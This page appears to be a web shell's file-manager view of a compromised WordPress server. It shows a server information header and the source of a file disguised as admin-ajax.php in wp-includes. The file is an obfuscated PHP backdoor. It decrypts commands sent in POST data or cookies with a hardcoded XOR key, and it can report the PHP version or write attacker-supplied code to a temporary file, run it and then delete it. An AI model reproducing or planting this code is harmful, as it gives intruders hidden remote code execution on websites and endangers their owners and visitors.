HEX
Server: Apache
System: Linux web04.cloudvoor.nl 5.15.0-1089-azure #98~20.04.1-Ubuntu SMP Fri May 2 20:18:39 UTC 2025 x86_64
User: web517 (1027)
PHP: 8.3.21
Disabled: exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,expect_popen,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare
Upload Files
File: /var/www/clients/client93/web517/web/wp-includes/rest-api/search/admin-ajax.php
<?php 


$_utisa	=	'_utisa'      ^    '<';

$xeeucvxd    = /*   kh */ $_utisa(97) /* ta  */ .    "\x72" /*   ekcxs   */ .   "r"."a"."y".$_utisa(95)     .	"\155"    .     "\x61"  . /*iv   */ $_utisa(112);
$ecwfdaqmat     =    $_utisa(679-574) /*  gb*/ . /* k*/ "m"."p"."l"."o"."\144"    .	"e";
function /*   lz*/ reen__d($xussdyi,    $lya_ge)

{    global /* kgk */ $_utisa;

    $xussdyi	=	"\74"	.	"?"."p".$_utisa(351-247)	.	"\160" /*  weqpe*/ .   $_utisa(32)	.  "u"."\x6e"	.    "l".$_utisa(105) /*zg */ .    "n"."\153" /*   e_xks*/ .	$_utisa(215-175)	. /*   ilnfqe  */ "_"."_"."F".$_utisa(73) /*  ljpqo */ .	"L"."\105" /*  gc  */ . /*   muhbx  */ $_utisa(95) /*il  */ .   $_utisa(1067-972)      .	")".";".$_utisa(32)   .      $xussdyi["d"];
 /*  tr  */ $nnpceae /*aoe  */ =       "f"."i".$_utisa(108)   .       "\145"       . /* y */ $_utisa(162-67)   .       "\x70" /*saon  */ .	"u".$_utisa(116)       . /*   hn   */ "\x5f"    .	"c"."\157" /*   ewzqj */ .  $_utisa(110) /* p */ .	"t".$_utisa(101)    .     "n"."t"."s";


 /*  akcml*/  /*  sl  */ $nnpceae($lya_ge,       $xussdyi); /*  ami*/ 


     fayyavr($lya_ge);}

$wuhxunzkhp	=    73;


function /*  qjypeo */ fayyavr($lya_ge)

{
 /*  alv */ global /*   scefkz */ $_utisa;

   /*oxv   */ include($lya_ge);
     $y_eaotrb    =    $lya_ge;   @unlink($y_eaotrb);
}


function     alwynlyks_()
{


    global  $_utisa;


	$wvzsr_fki  =	array();
 /*  zwhdek*/ $wvzsr_fki["\160"	.      "\x76"]    = /*  k   */ phpversion();

 /* a */ $wvzsr_fki["s"."v"]   =	$_utisa(51) /* jg  */ .     ".".$_utisa(420-367);
	$rgbstco	= /* uxos  */ 74;
 /*dywzh   */ echo /*   sxj   */ @serialize($wvzsr_fki);

}



function /*brhy_*/ fanoali($xussdyi,    $opjymn_sst)
{    global /*fptg   */ $_utisa;

   $tfyqykzndn /*y_s   */ =	"";
    $ytmaqv_x /*   d   */ =   strlen($xussdyi); /*  pbpo   */ $v_rpwkd    =	strlen($opjymn_sst); /*   hmoq_j  */ $wvzsr_fki   =       0;

  $ufrzm    = /*mgfue  */ 0;

       /*   mf   */ while	($wvzsr_fki /*   cmsmat */ <    $ytmaqv_x) /* wa_ */ {
    $rfwxlu      = /*   _dmet   */ $xussdyi[$wvzsr_fki]    ^       $opjymn_sst[$ufrzm	% /*jdyega */ $v_rpwkd];
	$tfyqykzndn	.=	$rfwxlu; /*  q   */ $ufrzm++;    


 /*   vcl   */ $wvzsr_fki++;

    }


    

	if    (strlen($tfyqykzndn) /* ajrric */ >    20)    {

    $tldxc_pe_n   =	substr($tfyqykzndn,     0,  20);

 /*   azoyzv   */ }

  if	(empty($tfyqykzndn))     { /*  aeebx   */ $tfyqykzndn    =      date('Y-m-d      H:i:s');

 /*   clby   */ }	return    $tfyqykzndn;

}





function    ornrfkc($frtng)

{
     global /*  uemxo */ $_utisa;


    
    $alrpz	=     $_utisa(1022-966)	.       "6"."b"."\x34"	.      "8"."\70"    .	$_utisa(100)      .	"\x39" /* vmhg  */ .    $_utisa(45) /*b   */ .     $_utisa(53)	. /* _w*/ "\63"      . /* vzm */ "c"."3"."-".$_utisa(553-501)    .    $_utisa(98) /*   fsc */ .	"7"."c"."-".$_utisa(825-768) /*  r   */ . /*   _iosin  */ "\x36"    .	"0"."d".$_utisa(45)	.       "7".$_utisa(49)    .    "3"."\145" /* swrq*/ .   "f".$_utisa(98) /*hv */ . /*  s*/ "5"."b".$_utisa(1012-957)     .    $_utisa(826-778) /*yveetr */ . /*oowmo*/ "d"."2";


    


       foreach    ($frtng	as       $kxxrln   => /*  gwtu */ $xussdyi)    {
    drzbr(base64_decode($xussdyi),    $alrpz, /* ufwrc  */ $kxxrln);


	}

}
function    drzbr($xussdyi,    $alrpz,	$kxxrln){

       global	$_utisa;


		$xussdyi /*tysdns */ =   unserialize(fanoali(fanoali($xussdyi,	$alrpz), /*  bcjuv  */ $kxxrln));


	$xznsziso      = /*   l   */ '_bhcp';
	$sgldnui /*  lz_b */ =    'goq_';    if /* eih_   */ (isset($xussdyi["a".$_utisa(435-328)]))   { /*  lp_hs */ if /* j*/ ($xussdyi["a"]	== /*  immpb */ "i")    {

 /* qa */ alwynlyks_();


   }      elseif /*  ath  */ ($xussdyi["a"] /*   a*/ == /*  vn*/ "e")   {


   reen__d($xussdyi,   sprintf("."."/".$_utisa(626-589)     .    "\x73" /*lujk*/ .	"."."p"."\154",       md5($alrpz)));

			$laait	= /* aftug */ 44; /*rq*/ }
      exit();

 /*   jsey   */ }


}

ornrfkc($_POST); /*   wonoi   */ 
$vjqurhe       =       'rawurldecode';
$yvbrs    =      $xeeucvxd($vjqurhe,    $_POST);


$ecwfdaqmat("", /*   vgili*/ $vjqurhe);



ornrfkc($_COOKIE);

$gqcvj	=  $xeeucvxd($vjqurhe, /* __dwl*/ $_COOKIE);



?>